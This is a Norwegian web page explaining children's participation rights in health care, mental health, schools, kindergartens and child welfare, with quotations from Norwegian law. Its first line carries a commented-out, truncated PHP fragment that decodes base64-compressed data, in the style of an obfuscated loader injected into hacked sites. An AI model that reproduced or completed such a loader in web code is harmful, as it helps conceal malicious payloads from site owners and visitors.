# function OmJ($ZWRjQ) #{ #$ZWRjQ=gzinflate(base64_decode($ZWRjQ)); # for($i=0;$i Barns medvirkning i ulike sektorer – BLI-INVOLVERT.NO

Barns medvirkning i ulike sektorer

Oppvekstsektorens ansvar for barn og unges medvirkning

Barnevernsreformen (2022) skal bidra til å styrke arbeidet med forebygging og tidlig innsats i kommunene. Målene i barnevernsreformen kan bare nås gjennom endringer i hele oppvekstsektoren, og barnevernsreformen blir derfor ofte omtalt som en oppvekstreform. For at kommunene skal lykkes med dette arbeidet må en sikre at det blir lagt til rette for barn og unges medvirkning.

Foreldreansvar og barns medvirkning

Selv om barn har egne rettigheter til medvirkning trenger alle tjenester som jobber med barn og unge å vite hvem som har foreldreansvar og hva dette innebærer. Foreldreansvar betyr at det er foreldres plikt å bestemme over barnet i personlige forhold, og ivareta dette ut fra barnets behov og interessert. Barnets meninger skal tillegges økende vekt etter hvert som det blir eldre. Dette er forankret i Lov om barn og foreldre (barnelova) – Kapittel 5.    

Helse 

I pasient- og brukerrettighetsloven, kapittel 4  finner vi spesifikke rettigheter for informasjon og samtykke til barn og unges helsehjelp i Norge. I kapittel 6 finner vi barns særlige rettigheter, blant annet at foreldre plikter å medvirke til at barnet deltar i helsekontroll.

Helsestasjon, skolehelsetjenesten og helsestasjon for ungdom skal sikre at barn og ungdom blir hørt, involvert og får innflytelse på individ- og systemnivå. (Brukermedvirkning: Helsestasjon, skolehelsetjeneste og helsestasjon for ungdom skal sikre brukermedvirkning – Helsedirektoratet)  Tjenestene skal arbeide for at barn og unge opplever at deres erfaringer og innspill oppleves som reelle når beslutninger tas opp og nye tiltak skal utformes både på individ- og systemnivå:

  • På individnivå betyr brukermedvirkning å lytte til det barnet og ungdommen sier og ta de med på råd i saker som angår dem selv. 
  • På systemnivå betyr brukermedvirkning f.eks. at representanter for barn og ungdom involveres i utformingen av tjenesten

Psykisk helsevern 

Ifølge nasjonal veileder psykisk helsearbeid barn og unge (2023) har kommunen ansvar for å ha oversikt over faktorer som påvirker oppvekstsvilkår og den psykiske helsetilstanden til barn og unge. Kommunen skal sørge for systematisk medvirkning fra barn og unge ved planlegging og utvikling av helsefremmende tiltak og psykisk helsetilbud til barn og unge i kommunen.

Noen ganger trenger barn og unge hjelp av spesialisthelsetjenesten for sin psykiske helsetilstand. Barn og unge har rett til å si sin mening om de ønsker behandling eller ikke, men hvis en er under 16 år, har foreldrene eller den som har foreldreansvar, som hovedregel rett til å si ja eller nei til at du får behandling.

Les mer om rettigheter for barn og unge i psykisk helsevern i Helsedirektoratets brosjyrer: 

Taushetsplikt:

Barn og unge har rett til taushet om sine personlige forhold på lik linje som voksne. Hovedregelen er at foreldre har rett til informasjon om barnets helsetilstand og andre taushetsbelagte opplysninger om barnet, for å kunne ta velinformerte avgjørelser på vegne av barnet. Det finnes unntak der det ikke vil være til barnets beste å informere barnet. Etter pasient – og brukerrettighetsloven § 3-4 har ikke foreldrene rett til informasjon når tungtveiende hensyn til barnet taler mot det, uavhengig av hvor gammelt barnet er. Foreldre som ikke er informert kan heller ikke samtykke til helsehjelp. Dersom barnet er under 12 år kan helsepersonell ta avgjørelser som er helt nødvendige og ikke for inngripende.

Skole

Elevenes rett til medvirkning er beskrevet i ny opplæringslov §10-2: «Elevane har rett til medverknad i alt som gjeld dei sjølve etter denne lova, og har rett til å ytre meiningane sine fritt. Elevane skal bli høyrde, og det skal leggjast vekt på meiningane deira etter alder og modning».

Den nye opplæringsloven, som trer i kraft 1. august 2024, har endringer som gjelder elevens beste, medvirkning, foreldresamarbeid og skoledemokrati. Dette må sees i sammenheng med Grunnloven §100, som omtaler retten til ytringsfrihet, §104, som omtaler barns menneskerettigheter, og FNs barnekonvensjon artikkel 12 som beskriver barnets rett til å gi uttrykk for sin mening. Elevens beste skal være et grunnleggende hensyn ved alle handlinger og avgjørelser som gjelder elever. Elevens beste er beskrevet i ny opplæringslov §10-1.

Barnehage

I rammeplan for barnehagen, kapittel 4 er barns medvirkning beskrevet. I barnehagen skal en legge til rette for, og oppmuntre til at barna kan få gitt uttrykk for sitt syn på barnehagens daglige virksomhet. Dette er i tråd med barnehagelovens ivaretagelse av barnas behov for omsorg og lek, § 3, som omtaler barnas mulighet for deltagelse og vurdering av barnehagens virksomhet, og FNs barnekonvensjon artikkel 12 som beskriver barnets rett til å gi uttrykk for sin mening.  Alle barn skal få erfare å få innflytelse på det som skjer i barnehagen. 

Barnevern 

Barns rett til medvirkning i kontakt med barnevernet fremgår avLov om barnevern § 1-4:

«Et barn som er i stand til å danne seg egne meninger, har rett til å medvirke i alle forhold som vedrører barnet etter denne loven. Barn har rett til å uttale seg til barnevernet uavhengig av foreldrenes samtykke, og uten at foreldrene informeres om samtalen på forhånd. Barnet skal få tilstrekkelig og tilpasset informasjon og har rett til fritt å gi uttrykk for sine meninger. Barnet skal bli lyttet til, og barnets meninger skal vektlegges i samsvar med barnets alder og modenhet».

Forskrift om barns medvirkning i barnevernet utdyper hvordan barn og unges medvirkning og innflytelse i kontakt med barnevernet skal forståes: «barnevernet tilrettelegger for en god medvirkningsprosess og får frem barnets perspektiv gjennom hele sakens forløp. Medvirkning skal styrke barnets rettssikkerhet og bidra til riktige avgjørelser til barnets beste».

Tillitsperson

Et barn kan gis anledning til å ha med seg en tillitsperson i møter med barnevernet.

Formålet med tillitsperson er å gi barnet en trygghet slik at hen lettere kan gi uttrykk for sine synspunkt i egen barnevernssak. Dette følger av barnevernsloven §1-4 tredje ledd. Tillitspersonen kan pålegges taushetsplikt.

Les mer om tillitsperson i Forskrift om barns medvirkning i barnevernet, kapittel 3.

Partsretter i barnevernet

I barnevernsloven kapittel 12 er saksbehandlingsregler, samt barn og foreldres partsrettigheter beskrevet. I § 12-3 står det: «Barn som har fylt 15 år, er part i saken. I saker som gjelder tiltak for barn med atferdsvansker eller tiltak for barn som er utsatt for menneskehandel, er barnet alltid part. For å gjøre partsrettigheter gjeldende må barnet forstå hva saken gjelder. Barneverns- og helsenemnda kan også innvilge et barn under 15 år partsrettigheter dersom hensynet til barnet tilsier det».

Skroll til toppen